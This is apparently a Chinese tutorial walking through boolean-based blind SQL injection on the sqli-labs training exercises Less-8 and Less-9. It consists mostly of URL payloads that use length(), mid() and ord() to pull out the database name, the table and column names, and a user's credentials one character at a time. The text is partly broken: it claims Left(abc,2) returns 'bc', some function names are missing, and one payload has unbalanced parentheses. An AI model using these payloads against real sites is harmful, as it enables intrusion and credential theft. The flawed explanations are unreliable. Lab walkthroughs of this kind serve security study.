布尔型盲注应用于无数据回显,且WEB页面无报错信息的情况,此时不能通过报错型注入的方法来爆出数据,布尔型盲注的WEB页面只有两种回显结果,正确的页面以及错误的页面,且错误的页面无报错提示语句,正确的页面不能输出数据。
盲注,其注入就是通过函数的执行结果来猜测数据
其功能为返回字符串的长度
比如length(abc)返回3
其功能为截取字符串
substr(abc,1,1):含义为从abc的第一位开始取数,步长为1,结果显示a
其功能为取出字符串的一部分值
Mid(abc,1,1):从abc的第一位开始取数,步长为1,与substr()函数用法一致,结果显示为a
其功能为取出字符串左边的几个数据
Left(abc,1):返回a
Left(abc,2):返回bc
其功能为返回一个字符的ASCII码值
ASCII(s):返回115
其功能为返回该数的十六进制形式
在Less-8和Less-9中我们就用到布尔型盲注来爆出数据
关键SQL注入语句:
/?id=1’ and 1=1 --+
/?id=1’ and 1=2 --+
测的其结果为’'单引号闭合
此时求列数时,当我们数据进入的排序数错误时,回显结果为空,正确时显示正确页面结果
关键SQL注入语句:
/?id=1’ order by 10 --+
/?id=1’ order by 5 --+
/?id=1’ order by 3 --+
/?id=1’ order by 4 --+
其结果显示为3列
此时就要用到函数来一步步猜其数据库名
用到的函数为length(),同样使用二分法来猜其库名的长度
关键SQL注入语句:
/?id=1’ and length(database())>10 --+
/?id=1’ and length(database())>5 --+
/?id=1’ and length(database())>7 --+
/?id=1’ and length(database())>8 --+
得出其库名的长度为8
此时我们需要用到mid()函数来截取库名字母,通过ord()函数得出其ASCII编码,再对照ASCII编码表来查询字母
ASCII编码中65-90为大写字母A-Z,97-122为小写字母a-z
关键SQL注入语句:
首字母查询:
/?id=1’ and ord(mid(database(),1,1))>90 --+ //判断字母的大小写,在ASCII编码中>90的为小写字母
/?id=1’ and ord(mid(database(),1,1))>110 --+
/?id=1’ and ord(mid(database(),1,1))>120 --+
/?id=1’ and ord(mid(database(),1,1))>115 --+
/?id=1’ and ord(mid(database(),1,1))>114 --+
得到其库名首字母为"s(小写)"
第二个字母:
关键SQL注入语句:
/?id=1’ and ord(mid(database(),2,1))>90
/?id=1’ and ord(mid(database(),2,1))>110
/?id=1’ and ord(mid(database(),2,1))>100
/?id=1’ and ord(mid(database(),2,1))>101
可得第二个字母为"e"
之后的6个字母都用相同的方法来查询,最后我们可得到其库名为"security"
在猜其表名时,应该借助程序来查询,因为人为查询过程及其繁琐,且一个数据库中有多张表。
其原理同查询库名一样,我们在此可以查询第一个表名首字母作为范例
关键SQL注入语句:
?id=1’ and length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>5 --+
?id=1’ and length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>6 --+
得第一张表的表名长度为6
关键SQL注入语句:
/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>90 //判断第一个表的表名首字母大小写
/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)>110
/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>100
/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>101
得到ASCII编码10进制数为101,查表可得该字符为"e"
关键SQL注入语句:
/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),2,1))>108
第二个字母ASCII编码十进制数为108,查表可得其结果为"m"
之后的4个字母通过控制mid()函数的参数可以查出结果,可得第一张表名为"emails"
之后的几张表用通过修改limit 0,1控制输出可以查出结果,可得第二张表名为"referers",第三张表名为"uagents",第四张表名为"users"
与表一样,一张表里可能有多个列,人为查询相当繁琐,建议通过程序来执行查询
在此处,只以第二列为例
关键SQL注入语句:
/?id=1’ and length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))>7 --+
/?id=1’ and length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))>8 --+
关键SQL注入语句:
/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>90 //判断第一个表的表名首字母大小写
/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>110
/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>120
/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>115
/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>116
/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>117
可得出第二列首字母ACSII编码十进制数为117,查表可得首字母为"u"
剩下7个字母,通过修改mid()函数参数来实现,最终可得出第二列列名为"username"
之后的几列用通过修改limit 0,1控制输出可以查出结果,可得第一列列名为"id",第三列列名为"password"
已知库名,表名,及其列名,可以查出表中的数据
关键SQL注入语句:
/?id=1’ and length((select username from security.users limit 0,1))>3
/?id=1’ and length((select username from security.users limit 0,1))>4
可得出列中第一行数据的长度为4
关键SQL注入语句:
/?id=1’ and ord(mid((select username from security.users limit 0,1),1,1))>90 --+ //判断其第一行首字母的大小写
/?id=1’ and ord(mid((select username from security.users limit 0,1),1,1))>65 --+
/?id=1’ and ord(mid((select username from security.users limit 0,1),1,1))>67 --+
/?id=1’ and ord(mid((select username from security.users limit 0,1),1,1))>68 --+
得到列中第一行首字母ASCII编码十进制为68,查表可得首字母为"D"
通过mid()函数参数控制可得,该行数据为Dumb
通过limit 0,1控制可得,其他行的数据
关键SQL注入语句:
/?id=1’ and length((select username from security.users limit 0,1))>3
/?id=1’ and length((select username from security.users limit 0,1))>4
关键SQL注入语句:
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>90 --+ //判断其第一行首字母的大小写
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>65 --+
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>70 --+
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>67 --+
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>68 --+
可得password列第一行首字母ASCII码值为68,查表可得首字母为**“D”**
通过mid()函数参数控制可得,该行数据为Dumb
通过limit 0,1控制可得,其他行的数据
由此可以的出第一个用户的数据,用户名username:Dumb 密码:password:Dumb
用同样的方法可求出其他用户名和密码